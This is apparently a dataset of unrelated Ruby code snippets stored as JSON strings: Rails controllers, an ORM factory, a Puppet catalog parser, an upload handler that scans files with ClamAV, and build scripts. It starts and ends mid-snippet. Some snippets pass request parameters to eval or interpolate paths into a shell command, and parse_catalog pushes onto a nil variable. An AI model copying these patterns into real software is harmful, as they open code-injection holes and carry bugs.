\"change\", \"add\", \"remove\", \"reverse\"]\n if not commands.include?(args[0])\n puts \"Invalid argument, valid arguments are: (create lookup change add remove reverse)\\n\\n\"\n return -1\n end\n\n namecommands = [\"lookup\", \"add\", \"change\", \"remove\"]\n if namecommands.include?(args[0])\n args[1] = args[1].capitalize\n end\n\n # If there is only one .pb file in the current directory, that is the\n # implicit argument\n if !(args[-1] =~ /pb/)\n files = Dir.entries(\".\").select { |f| f =~ /pb/ }\n if files.length == 1\n args.push(files[0])\n elsif files.length > 1\n puts \"Multiple .pb files found and none specified, please specify .pb file as the last argument\\n\\n\"\n return -1\n else\n puts \"No .pb files found, create a new phonebook using $ phonebook create <filename>.pb\\n\\n\"\n return -1\n end\n end\n\n num_args = {\"create\"=> 2, \"lookup\"=> 3, \"add\"=> 4, \"remove\"=> 3, \"reverse\"=> 3, \"change\"=> 4}\n needed_args = num_args[args[0]]\n if args.count != needed_args\n if args.count > needed_args\n puts \"Too many arguments passed to #{args[0]}\\n\\n\"\n else\n puts \"Too few arguments passed to #{args[0]}\\n\\n\"\n end\n return -1\n end\n\n # Check for file existence, if the .pb is not found in the current directory\n # output an error and halt the program... unless the action is create\n if args[0] != \"create\"\n if !(File.file?(args[-1]))\n puts \"#{args[-1]} not found in the current directory, check for typos or create it using $ phonebook create <filename>\\n\\n\"\n return -1\n end\n end\n\n # Filename exists\n case args[0]\n when \"create\"\n puts createpb(args[1])\n when \"lookup\"\n puts lookup(args[1], args[2])\n when \"add\"\n puts add(args[1], args[2], args[3])\n when \"change\"\n puts change(args[1], args[2], args[3])\n when \"remove\"\n puts remove(args[1], args[2])\n when \"reverse\"\n puts reverse_lookup(args[1], args[2])\n end\n\n puts \"\\n\"\nend", "def first_computer\n Computer.new(\"Apple\", 15.0, \"Macbook Pro\", 2012)\nend", "def create_or_update(res_el, clean_state, authorizer)\n sparql = SPARQL::Client.new($repository)\n debug 'Admin CreateOrUpdate: resources: ', res_el.inspect\n\n unless res_el.is_a?(Array)\n res_el = [res_el]\n end\n resources = []\n res_el.each do |params|\n descr = params[:resource_description]\n descr = create_doctor(descr, authorizer) # Connect the objects first\n if clean_state # update\n urn = params[:urn]\n if (urn.start_with?(\"uuid\"))\n type = \"Lease\"\n else\n type = OMF::SFA::Model::GURN.parse(urn).type.camelize\n end\n res = eval(\"SAMANT::#{type}\").for(urn)\n unless sparql.ask.whether([res.to_uri, :p, :o]).true?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{res.inspect}' not found. Please create that first.\"\n end\n authorizer.can_modify_resource?(res, type)\n res.update_attributes(descr) # Not sure if different than \".for(urn, new_descr)\" regarding an already existent urn\n else # create\n if params[:type] && (params[:type].camelize == \"Uxv\") && !(descr.keys.find {|k| k.to_s == \"hasUxVType\"})\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Please provide a UxV type in your description.\"\n end\n unless params[:name] && params[:type] && params[:authority]\n raise OMF::SFA::AM::Rest::BadRequestException.new \"One of the following mandatory parameters is missing: name, type, authority.\"\n end\n urn = OMF::SFA::Model::GURN.create(params[:name], {:type => params[:type], :domain => params[:authority]})\n type = params[:type].camelize\n descr[:hasID] = SecureRandom.uuid # Every resource must have a uuid\n descr[:hasComponentID] = urn.to_s\n descr[:resourceId] = params[:name]\n if type.downcase == \"uxv\"\n descr[:hasSliceID] = \"urn:publicid:IDN+omf:netmode+account+__default__\" # default slice_id on creation; required on allocation\n end\n res = eval(\"SAMANT::#{type}\").for(urn, descr) # doesn't save unless you explicitly define so\n unless sparql.ask.whether([res.to_uri, :p, :o]).false?\n raise OMF::SFA::AM::Rest::BadRequestException.new \"Resource '#{res.inspect}' already exists.\"\n end\n authorizer.can_create_resource?(res, type)\n debug \"Res:\" + res.inspect\n res.save!\n end\n resources << res\n end\n resources\n end", "def initialize(file, index, errors, parent_cell_name)\n line = get_current_line(file, index)\n if !Pin::start_line?(line)\n raise \"Error: Attempted to initialize Pin, but file location provided did not start at a Pin.\"\n end\n found_direction = false\n found_use = false\n @errors = errors\n @start_line = line\n @start_line_num = index.value + 1\n @name = line.split(/PIN /)[1].chomp()\n \n $log.debug(\"Pin: \" + @name)\n \n @properties = Array.new\n @keywordProperties = Array.new\n @ports = Array.new\n line = get_next_line(file, index)\n while !line.match(/^\\s*END #{Regexp.quote(@name)}/)\n if LayerCollection::start_line?(line)\n new_port = LayerCollection.new(file, index, errors)\n @ports.push(new_port)\n else\n \n $log.debug((index.value + 1).to_s + \": found pin property \" + line)\n \n if line.match(/\\S;\\s*$/)\n error_msg = (index.value + 1).to_s + \"\\n\"\n @errors[:line_ending_semicolons].push(error_msg)\n line = line.gsub(/;\\s*$/, \" ;\\n\")\n end\n\n if line.match(/^\\s*PROPERTY/)\n @keywordProperties.push(line)\n else\n @properties.push(line)\n if !(@@PropertyOrder.include? line.split[0].upcase)\n error_msg = \"Line \" + (index.value + 1).to_s + \": \" + line.strip + \"\\n\"\n @errors[:unknown_pin_property].push error_msg\n end\n\t\t\t\t\tm = line.split()\n\t\t\t\t\tm[0] = m[0].upcase\n if m[0] == \"DIRECTION\"\n found_direction = true\n Pin::register_property(@@directions_found, m[1], \"Line \" + (index.value + 1).to_s() + \": Cell \" + parent_cell_name + \", pin \" + @name + \" - \" + m[1] + \"\\n\")\n end\n if m[0] == \"USE\"\n found_use = true\n Pin::register_property(@@uses_found, m[1], \"Line \" + (index.value + 1).to_s() + \": Cell \" + parent_cell_name + \", pin \" + @name + \" - \" + m[1] + \"\\n\")\n end\n end\n get_next_line(file, index)\n end\n line = get_current_line(file, index)\n end\n if !found_direction\n# puts @start_line_num\n# puts @name\n# puts parent_cell_name\n @errors[:missing_direction].push(\"Line \" + @start_line_num.to_s() + \": Cell \" + parent_cell_name + \", pin \" + @name + \"\\n\")\n end\n if !found_use\n @errors[:missing_use].push(\"Line \" + @start_line_num.to_s() + \": Cell \" + parent_cell_name + \", pin \" + @name + \"\\n\")\n end\n @end_line = line\n get_next_line(file, index)\n end", "def import_to_pf\n begin\n Configuration.advance_manuscript_sequence\n self.create_article(:title => self.title, \n :article_status_id => 4, \n :date_submission_1 => self.committed,\n :manuscript_num => Configuration.get_value(\"manuscript_sequence\"))\n self.imported_to_pf = Date.today\n self.save(false)\n article = self.article\n article.article_sections << ArticleSection.find(self.article_section_id)\n self.coauthors.each do |ca|\n article.role_instances << RoleInstance.new(:user_id => ca.id, :role_id => 2)\n end\n article.role_instances << RoleInstance.new(:user_id => self.corresponding_author.id, :role_id => 1)\n article.create_date = Time.now\n article.save!\n self.change_status(ArticleSubmission::FORMS_RECIEVED)\n rescue\n logger.info(\"**** Couldn't import to pubforecaster: #{$!}\")\n false\n end\n end", "def create_objects(apps_config, changed_apps = [])\n debug 'create objects'\n apps_config.each do |app_name, app_cfg|\n update_or_create_application(app_name, app_cfg.clone) if changed_apps.include?(app_name)\n end\n\n # sorting applications\n @applications.sort_by!(&:name)\n end", "def init_objects\n Rho::RhoConfig::sources.each do |classname,source|\n unless Object::const_defined?(classname.intern)\n Object::const_set(classname.intern, \n Class::new do\n include Rhom::RhomObject\n extend Rhom::RhomObject\n \n def initialize(obj=nil)\n if obj\n # create a temp id for the create type\n # TODO: This is duplicative of get_new_obj\n temp_objid = djb_hash(obj.values.to_s, 10).to_s\n self.send 'object'.to_sym, \"#{temp_objid}\"\n self.send 'source_id'.to_sym, obj['source_id'].to_s\n self.send 'update_type'.to_sym, 'create'\n obj.each do |key,value|\n\t\t\t\t\t val = self.inst_strip_braces(value)\n self.send key, val\n end\n end\n \n end\n\t\t \n class << self\n \n def get_source_id\n Rho::RhoConfig::sources[self.name.to_s]['source_id'].to_s\n end\n # retrieve a single record if object id provided, otherwise return\n # full list corresponding to factory's source id\n def find(*args)\n list = []\n if args.first == :all\n result = Rhom::RhomDbAdapter::select_from_table(Rhom::TABLE_NAME,\n '*',\n {\"source_id\"=>get_source_id,\"update_type\"=>'query'},\n {\"order by\"=>'object'})\n else\n obj = strip_braces(args.first.to_s)\n result = Rhom::RhomDbAdapter::select_from_table(Rhom::TABLE_NAME,\n '*',\n {\"object\"=>obj})\n end\n list = get_list(result)\n if list.length == 1\n return list[0]\n end\n list\n end\n \n def find_by(*args)\n # TODO: implement\n end\n\n # returns an array of objects based on an existing array\n def get_list(objs)\n new_list = []\n if objs and defined? Rho::RhoConfig::sources[self.name.to_s]\n attrib_length = Rho::RhoConfig::sources[self.name.to_s]['attribs'].length\n list_length = 0\n list_length = (objs.length / attrib_length) unless attrib_length == 0\n new_obj = nil\n # iterate over the array and determine object\n # structure based on attribute/value pairs\n list_length.times do |i|\n new_obj = get_new_obj(objs[i*attrib_length])\n attrib_length.times do |j|\n # setup index and assign accessors\n idx = i*attrib_length+j\n begin\n # only update attributes if they belong\n # to the current object\n if objs[idx]['object'] == strip_braces((new_obj.send 'object'.to_sym))\n attrib = objs[idx]['attrib'].to_s\n value = objs[idx]['value'].to_s\n new_obj.send attrib.to_sym, value\n end\n rescue\n puts \"failed to reference objs[#{idx}]...\"\n end\n end\n new_list << new_obj\n end\n else\n # source attributes are not initialized, \n # try again\n RhomObjectFactory::init_sources\n end\n new_list\n end\n \n # returns new model instance with a temp object id\n def get_new_obj(obj, type='query')\n tmp_obj = self.new\n tmp_obj.send 'object'.to_sym, \"{#{obj['object'].to_s}}\"\n tmp_obj.send 'source_id'.to_sym, get_source_id\n tmp_obj.send 'update_type'.to_sym, type\n tmp_obj\n end\n end #class methods\n\t\n # deletes the record from the viewable list as well as\n # adding a delete record to the list of sync operations\n def destroy\n result = nil\n obj = self.inst_strip_braces(self.object)\n if obj\n # first delete the record from viewable list\n result = Rhom::RhomDbAdapter::delete_from_table(Rhom::TABLE_NAME,\n {\"object\"=>obj})\n # now add delete operation\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"update_type\"=>'delete'})\n end\n result\n end\n\t\t\n # saves the current object to the database as a create type\n def save\n result = nil\n # iterate over each instance variable and insert create row to table\n\t\t\t\t obj = self.inst_strip_braces(self.object)\n self.instance_variables.each do |method|\n method = method.to_s.gsub(/@/,\"\")\n # Don't save objects with braces to database\n val = self.send(method.to_sym)\n # add rows excluding object, source_id and update_type\n unless self.method_name_reserved?(method) or val.nil?\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"attrib\"=>method,\n \"value\"=>val,\n \"update_type\"=>'create'})\n end\n end\n # Create a temporary query record to display in the list\n Rho::RhoConfig::sources[self.class.name.to_s]['attribs'].each do |attrib|\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"attrib\"=>attrib['attrib'],\n \"value\"=>self.send(attrib['attrib'].to_sym),\n \"update_type\"=>'query'})\n end\n result\n end\n \n # updates the current record in the viewable list and adds\n # a sync operation to update\n def update_attributes(attrs)\n result = nil\n obj = self.strip_braces(self.object)\n self.instance_variables.each do |method|\n method = method.to_s.gsub(/@/,\"\")\n val = self.send method.to_sym\n # Don't save objects with braces to database\n new_val = attrs[method]\n # if the object's value doesn't match the database record\n # then we procede with update\n if new_val and val != new_val\n unless self.method_name_reserved?(method) or new_val.length == 0\n # update viewable list\n result = Rhom::RhomDbAdapter::update_into_table(Rhom::TABLE_NAME,\n {\"value\"=>new_val},\n {\"object\"=>obj, \"attrib\"=>method})\n # update sync list\n result = Rhom::RhomDbAdapter::insert_into_table(Rhom::TABLE_NAME,\n {\"source_id\"=>self.get_inst_source_id,\n \"object\"=>obj,\n \"attrib\"=>method,\n \"value\"=>new_val,\n \"update_type\"=>'update'})\n end\n end\n end\n result\n end\n\t\n def get_inst_source_id\n Rho::RhoConfig::sources[self.class.name.to_s]['source_id'].to_s\n end\n \n def inst_strip_braces(str=nil)\n str ? str.gsub(/\\{/,\"\").gsub(/\\}/,\"\") : nil\n end\n \n def method_name_reserved?(method)\n method =~ /object|source_id|update_type/\n end\n end)\n end\n end\n end", "def create_new_property\n property = RealEstateProperty.new\n property_remote_name,property_code = find_temp_property_name_property_code\n property.create_real_estate_property(params[:real_estate_property][\"property_name\"],params[:pid],params[:real_estate_property][\"property_type_id\"],current_user.id,property_remote_name,property_code)\n if params[:real_estate_property][:address]\n #client id added in query\n address = Address.store_address_details(params[:real_estate_property][:address][:txt],params[:real_estate_property][:address][:city], params[:real_estate_property][:address][:zip],params[:real_estate_property][:address][:province])\n property.address_id = address.id\n end\n @property_valid = \"true\" if property.valid? && address.valid? && check_remote_property_validity(property)\n\n if @property_valid\n portfolio = Portfolio.find_by_id(property.portfolio_id)\n find_portfolio_association = property.portfolios.map(&:id).include?(property.portfolio_id)\n property.portfolios << portfolio if find_portfolio_association.blank?\n property.save\n end\n\n\n @tab = \"2\"\n if params[:attachment]\n PortfolioImage.create_portfolio_image(params[:attachment][:uploaded_data],property.id,nil)\n end\n @property = property\n update_accounting_type_info if params[:real_estate_property] && params[:real_estate_property][:accounting_system_type_id] && @property_valid\n @property_valid = \"true\" if property.valid? && address.valid? && check_remote_property_validity(property)\n create_properties_folders_docs_filenames if @property_valid\n @real_estate_properties << @property if @property_valid && @real_estate_properties\n if params[:real_estate_property][\"remote_property_name\"] && @property_valid\n import_datas_into_master_tabel\n end\n end", "def parse_catalog(catalog)\n classes = nil\n resources = nil\n results = Hash.new()\n\n if catalog.is_a?(String)\n begin\n JSON.parse!(catalog)\n rescue\n raise InternalError.new(sprintf('unable to parse catalog[%s] as JSON', catalog))\n end\n end\n\n unless catalog.has_key?('data') and catalog['data'].has_key?('classes')\n raise InternalError.new(sprintf('catalog does not contain a classes key[%s]', catalog))\n end\n\n unless catalog.has_key?('data') and catalog['data'].has_key?('resources')\n raise InternalError.new(sprintf('catalog does not contain a resources key[%s]', catalog))\n end\n\n raw_resources = catalog['data']['resources']\n\n raw_resources.each do |r|\n # samples of eacb type of resource is available at\n # https://github.com/chorankates/rouster/issues/20#issuecomment-18635576\n #\n # we can do a lot better here\n type = r['type']\n case type\n when 'Class'\n classes.push(r['title'])\n when 'File'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :file\n resources[name][:directory] = false\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:file] = true\n resources[name][:group] = r['parameters'].has_key?('group') ? r['parameters']['group'] : nil\n resources[name][:mode] = r['parameters'].has_key?('mode') ? r['parameters']['mode'] : nil\n resources[name][:owner] = r['parameters'].has_key?('owner') ? r['parameters']['owner'] : nil\n resources[name][:contains] = r.has_key?('content') ? r['content'] : nil\n\n when 'Group'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :group\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:gid] = r['parameters'].has_key?('gid') ? r['parameters']['gid'] : nil\n\n when 'Package'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :package\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:version] = r['ensure'] =~ /\\d/ ? r['ensure'] : nil\n\n when 'Service'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :service\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:state] = r['ensure']\n\n when 'User'\n name = r['title']\n resources[name] = Hash.new()\n\n resources[name][:type] = :user\n resources[name][:ensure] = r['ensure'] ||= 'present'\n resources[name][:home] = r['parameters'].has_key?('home') ? r['parameters']['home'] : nil\n resources[name][:gid] = r['parameters'].has_key?('gid') ? r['parameters']['gid'] : nil\n resources[name][:group] = r['parameters'].has_key?('groups') ? r['parameters']['groups'] : nil\n resources[name][:shell] = r['parameters'].has_key?('shell') ? r['parameters']['shell'] : nil\n resources[name][:uid] = r['parameters'].has_key?('uid') ? r['parameters']['uid'] : nil\n\n else\n raise NotImplementedError.new(sprintf('parsing support for [%s] is incomplete', type))\n end\n\n end\n\n # remove all nil references\n resources.each_key do |name|\n resources[name].each_pair do |k,v|\n unless v\n resources[name].delete(k)\n end\n end\n end\n\n\n results[:classes] = classes\n results[:resources] = resources\n\n results\n end", "def create_from_xml\n unless params[:metadata_file].present?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n xml_ds = XmlDatastream.new\n begin\n xml_ds.load_xml(params[:metadata_file])\n rescue DRI::Exceptions::InvalidXML\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n rescue DRI::Exceptions::ValidationErrors => e\n flash[:notice] = e.message\n @error = e.message\n return false\n end\n\n if xml_ds.metadata_standard.nil?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n @object = DRI::DigitalObject.with_standard xml_ds.metadata_standard\n @object.update_metadata xml_ds.xml\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n if @object.descMetadata.is_a?(DRI::Metadata::EncodedArchivalDescriptionComponent)\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n unless @object.collection?\n flash[:notice] = t('dri.flash.notice.specify_collection')\n @error = t('dri.flash.notice.specify_collection')\n return false\n end\n\n @object.apply_depositor_metadata(current_user.to_s)\n @object.manager_users_string = current_user.to_s\n @object.discover_groups_string = 'public'\n @object.read_groups_string = 'public'\n @object.master_file_access = 'private'\n\n @object.ingest_files_from_metadata = params[:ingest_files] if params[:ingest_files].present?\n\n true\n end", "def create_pe_xl_bolt_files(hosts, output_dir)\n create_nodes_yaml(hosts, output_dir)\n create_params_json(hosts, output_dir)\n create_beaker_config(hosts, output_dir)\nend", "def create data\n data = validate_path validate_code(data)\n\n row = TABLE.\n returning.\n insert(data).\n first\n\n Computer.new(row)\n end", "def create_pit name, composite\n mapping = @constellation.Mapping(:new, name: name, object_type: composite.mapping.object_type)\n @constellation.Composite(mapping, composition: @composition, composite_group: 'bdv')\n end", "def load\n #p 'loading ...'\n #p @name\n @rarray = Array.new\n begin\n dshash = YAML.load_file('db/'+@name+'.store') \n #p dshash\n #@rkeys = Array.new\n #p 'loading ...'\n dshash.each {|k,v| # converts strings into symbols\n cid = dshash[k][\"id\"]\n next if cid < 1 # do not transform if id < 1 \n #@rkeys << k\n rhash = Hash.new \n v.each {|k2,v2|\n #p k2\n #p v2\n rhash[k2.to_sym] = v2\n }\n @rarray << rhash\n }\n rescue\n p 'no file now' \n self.insert({:id=>0})\n end\n end", "def set_up_local_data\n Player.deserialize_from_file('players.dat')\n Game.deserialize_from_file('games.dat')\n Performance.deserialize_from_file('performance.dat')\n end", "def main catalog, ws, layers, flags = {}\n raise ArgumentError, \"Layer is malformed\" unless not layers.nil? and layers.is_a? Hash and not layers.empty?\n\n # Iterate over all records in YAML file and create stores in the catalog\n layers.each do |k, v|\n ['layername', 'format', 'filename', 'title'].each do |i|\n raise ArgumentError, \"Layer is missing #{i}\" unless v.include?(i) and v[i] != nil\n end\n puts \"Processing layer #{k}\" if flags[:verbose]\n\n layername = v['layername'].strip\n format = v['format'].strip\n \n case format\n when 'GeoTIFF'\n do_raster catalog, layername, format, ws, v, flags\n when 'Shapefile'\n do_vector catalog, layername, format, ws, flags[:datastore], v, flags\n else\n raise NotImplementedError, \"Unsupported format #{format}\" \n end\n end\nend", "def create\n @pc = Pc.new(pc_params)\n @programs = Program.all\n @t = pc_params\n \n respond_to do |format|\n if @pc.save\n installs = @pc.installs\n installs.each do |i|\n if i.program.blank?\n i.destroy\n end\n end\n format.html { redirect_to @pc, notice: 'Pc was successfully created.' }\n format.json { render :show, status: :created, location: @pc }\n else\n format.html { render :new }\n format.json { render json: @pc.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @computer = Computer.new(params[:computer])\n\n respond_to do |format|\n if @computer.save\n flash[:notice] = 'Computer was successfully created.'\n format.html { redirect_to(root_url) }\n format.xml { render :xml => @computer, :status => :created, :location => @computer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @computer.errors, :status => :unprocessable_entity }\n end\n end\n end", "def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end", "def initialize(filename=nil,clean=false)\n\t\tif filename.nil?\n\t\t\t@clusters = []\n\t\t\t@items = []\n\t\telsif filename.is_a?(Hash)\n\t\t\tload_from_hash(filename)\n\t\telsif filename =~ /ya?ml$/\n\t\t\ttemp = YAML.load_file(filename)\n\t\t\tif temp.is_a?(Clustering)\n\t\t\t\t@clusters = temp.clusters\n\t\t\t\t@items = temp.items\n\t\t\telsif temp.is_a?(Hash)\n\t\t\t\tload_from_hash(temp)\n\t\t\tend\n\t\telse # Load from custom file format\n\t\t\tload_from_file(filename,clean)\n\t\tend\n\tend", "def create\n\n # Run the \"file\" command in the shell to determine file type\n # Note: Using file.read(4) was not reliable\n user_file_type = `file #{params[:files][0].tempfile.path}`\n \n # Verify the file is a JPEG or TIFF\n # Note: This protects against a spoofed content-type header\n # and also does not rely on file type extension\n if ![\"JPEG\", \"JPG\", \"TIF\", \"TIFF\"].any?{|valid_file_type| user_file_type.include?valid_file_type}\n raise Exception, \"Invalid file type\"\n end\n \n \n #filename the user gave the file\n # Sanitize the filename - upload security - Code from Rails security guide\n params[:files][0].original_filename.strip.tap do |name|\n # NOTE: File.basename doesn't work right with Windows paths on Unix\n # get only the filename, not the whole path\n name.sub! /\\A.*(\\\\|\\/)/, ''\n # Finally, replace all non alphanumeric, underscore\n # or periods with underscore\n name.gsub! /[^\\w\\.\\-]/, '_'\n end\n \n error = false\n titleSet_display = current_user.user_key + \" \" + params[:files][0].original_filename\n \n #Create ClamAV instance for virus scanning\n clam = ClamAV.instance\n \n #Load ClamAV definitions\n clam.loaddb\n \n #Scan file (will return fixnum if ok, string with virus name if not ok)\n if params[:files][0].is_a? Tempfile\n logger.debug(\"TEMPFILE: #{params[:files][0].tempfile.path}\")\n scan_result = clam.scanfile(params[:files][0].tempfile.path)\n else\n logger.debug(\"FILE: #{params[:files][0].path}\")\n scan_result = clam.scanfile(params[:files][0].path)\n end\n \n if (scan_result.is_a? Fixnum)\n # create the Multiresimage\n \n edit_users_array = DIL_CONFIG['admin_staff'] | Array.new([current_user.user_key])\n \n @image = Multiresimage.new(:pid=>mint_pid(\"dil-local\"))\n logger.debug(\"FILES:#{params[:files]}\")\n @image.attach_file(params[:files])\n @image.apply_depositor_metadata(current_user.user_key)\n @image.edit_users = edit_users_array\n @image.titleSet_display = titleSet_display\n @image.save!\n \n @work = Vrawork.new(:pid=>mint_pid(\"dil-local\"))\n \n @image.add_relationship(:is_image_of, \"info:fedora/\" + @work.pid)\n @work.apply_depositor_metadata(current_user.user_key)\n @work.edit_users = edit_users_array\n @work.datastreams[\"properties\"].delete\n @work.add_relationship(:has_image, \"info:fedora/\" + @image.pid)\n \n #update the Vrawork's VRA xml\n #note: the xml_template creates the VRA xml for a VRA image. Update the vra:image tags to vra:work\n @work.update_vra_work_tag\n \n @work.titleSet_display_work = titleSet_display\n \n #update the refid field in the vra xml\n @image.update_ref_id(@image.pid)\n @work.update_ref_id(@work.pid)\n \n #update the relation set in the vra xml for the image and work\n @image.update_relation_set(@work.pid)\n @work.update_relation_set(@image.pid)\n \n @work.save!\n \n \n @image.save!\n \n #add image to Uploads collection\n personal_collection = current_user.get_uploads_collection\n DILCollection.add_image_to_personal_collection(personal_collection, DIL_CONFIG['dil_uploads_collection'], @image, current_user.user_key)\n \n UploadFile.create(:user=>current_user, :pid=>@image.pid)\n \n else\n error = true\n logger.error(\"VIRUS_DETECTED: #{scan_result} : #{params[:files][0].tempfile.path}\")\n \n #delete file from file system\n File.delete params[:files][0].tempfile.path\n end\n \n respond_to do |format|\n if !error\n format.json { \n render :json => [@image.to_jq_upload].to_json\t\t\t\n }\n #custom error message, responds to AJAX call \n else\n format.json { \n render :json => \"[{\\\"error\\\":\\\"VIRUS DETECTED\\\"}]\"\n }\n end\n end\n \n end", "def create_product_data\n\tsave_file(print_products)\n\tproduct_details\nend", "def createNewBook(path)\n puts \"Create New Book\"\n\n #1 Call encryptor\n runEncryptor(path+\"output/ihtml/\",@book_prod_folder)\n \n #2 Copy searchDB.sql to root path\n copyFile(path+\"output/searchDB.sql\", @book_prod_folder)\n \n #3 Validate info.plist\n validateInfoPlist(path+\"info.plist\")\n \n #4 Copy info.plist to root path\n copyFile(path+\"info.plist\", @book_prod_folder)\n \n #5 Copy balloons folder\n copyZipContents(\"balloons_images.zip\", @book_prod_folder+\"images/\")\n copyZipContents(\"balloons_script.zip\", @book_prod_folder+\"script/\") \n if !File::directory?(@book_prod_folder+\"icons/\")\n if File::directory?(path+\"/icons/\")\n Dir.mkdir(@book_prod_folder+\"icons/\")\n end\n end\n copyFolderContents(path+\"icons/\",@book_prod_folder+\"icons/\");\n \n #6 Verify Folders\n verifyFolders(@book_prod_folder)\n \n #7 Update time stamp\n changeTimestamp(@book_prod_folder,@new_book_timestamp)\n \n #8 Create Zip\n createZip(@book_prod_folder,@book_zip_generated_folder+@book_full_name+\".zip\",1)\n \n puts \"New Book Generated -\"+@book_full_name\nend", "def initialize(image_path, playout_path,\n outfile: nil,\n dev: nil,\n use_system_grub_tools: false)\n\n @tempfile = nil\n\n raise ArgumentError, \"Missing image file\" unless File.exists?(image_path)\n\n @image_tarball_path = image_path\n\n raise ArgumentError, \"Missing layout file\" unless File.exists?(playout_path)\n\n parts = JSON.parse(File.read(playout_path))\n\n raise ArgumentError, \"Partition not an Array\" unless parts.kind_of?(Array)\n\n @partition_layout = (bootloader_partitions + parts).map { |p| DeepStruct.new(p) }\n\n self.validate_partition_layout()\n\n if outfile\n @outfile = outfile\n end\n\n if dev\n @dev = dev\n self.validate_disk_size\n end\n\n if dev.nil? and outfile.nil?\n raise ArgumentError, \"No output file OR device specified!\"\n end\n\n @use_systemwide_grub_tools = use_system_grub_tools\n end", "def createBoard file\n\n\tbegin\n\t\tlines = IO.readlines(template)\n\t\n\trescue Exception => e\n\t\tputs e.message\n\t\tputs e.backtrace.inspect\n\tend\t\n\nend", "def initialize(filename)\n @info_plist = OSX::NSDictionary.dictionaryWithContentsOfFile(File.join(filename, 'Contents/Info.plist'))\n return unless @info_plist\n @identifier = @info_plist['CFBundleIdentifier'].to_s\n @version = @info_plist['CFBundleVersion'].to_s\n @shortversionstring = @info_plist['CFBundleShortVersionString'].to_s\n @filename = filename\n end", "def create_expected!\n servers = self.clusters.map{ |c| c.servers.to_a }.flatten\n servers.each do |server|\n self << Computer.new(:server => server)\n end unless self.clusters.nil?\n end", "def create\n @experiment = Experiment.new(params[:experiment])\n authorize! :manage, @experiments\n data_file = \"#{Rails.root.to_s}/public/SAX_DATA/#{@experiment.data_directory}/summary.txt\" \n @experiment.id = nil\n\n #\n if !@experiment.structural_model.nil?\n @experiment.structural_model.data_directory = @experiment.data_directory \n @experiment.structural_model.force_create = true \n end\n\n if !@experiment.ensemble.nil?\n submission = Submission.find_by_data_directory(@experiment.data_directory)\n ensemble_directory = Rails.root.join(\"public\",\"SAX_DATA\", @experiment.data_directory, \"ensemble\") \n @experiment.ensemble.data_directory = ensemble_directory\n #\n # open ensemble directory and grab all *.pdb files\n #\n @experiment.ensemble.diagnostic_file_name = submission.diagnostic_file_name\n @experiment.ensemble.diagnostic_file_size = submission.diagnostic_file_size\n @experiment.ensemble.diagnostic_content_type = submission.diagnostic_content_type \n# @diag_extension = @submission.diagnostic_content_type.split(/\\//)[1]\n\n @extension = !(@experiment.ensemble.diagnostic_content_type.nil?) ? @experiment.ensemble.diagnostic_content_type.split(/\\//)[1] : nil \n\n @pdbs = Array.new\n @pdbs = Dir.glob(\"#{ensemble_directory}/*.pdb\") \n end \n if !@experiment.no_model.nil?\n @experiment.no_model.data_directory = @experiment.data_directory \n end\n if !@experiment.dammin_result.nil?\n @experiment.dammin_result.data_directory = @experiment.data_directory \n end \n if !@experiment.gasbor_results.empty?\n @experiment.gasbor_results[0].data_directory = @experiment.data_directory \n end \n \n respond_to do |format|\n if @experiment.save\n write_experiment(@experiment, @experiment.data_directory)\n # remove from submissions\n format.html { redirect_to :action=> 'admin_list', :notice => 'Experiment was successfully created.' }\n else \n \n flash[:notice] = @experiment.errors.inspect\n #@experiment.id = Experiment.find(:first, :order => \"id DESC\").id + 1 \n format.html { redirect_to approve_experiments_path(:id => @experiment.data_directory) } \n end\n end\n \n end", "def import_parcelle_assoc(elt, parcelle, 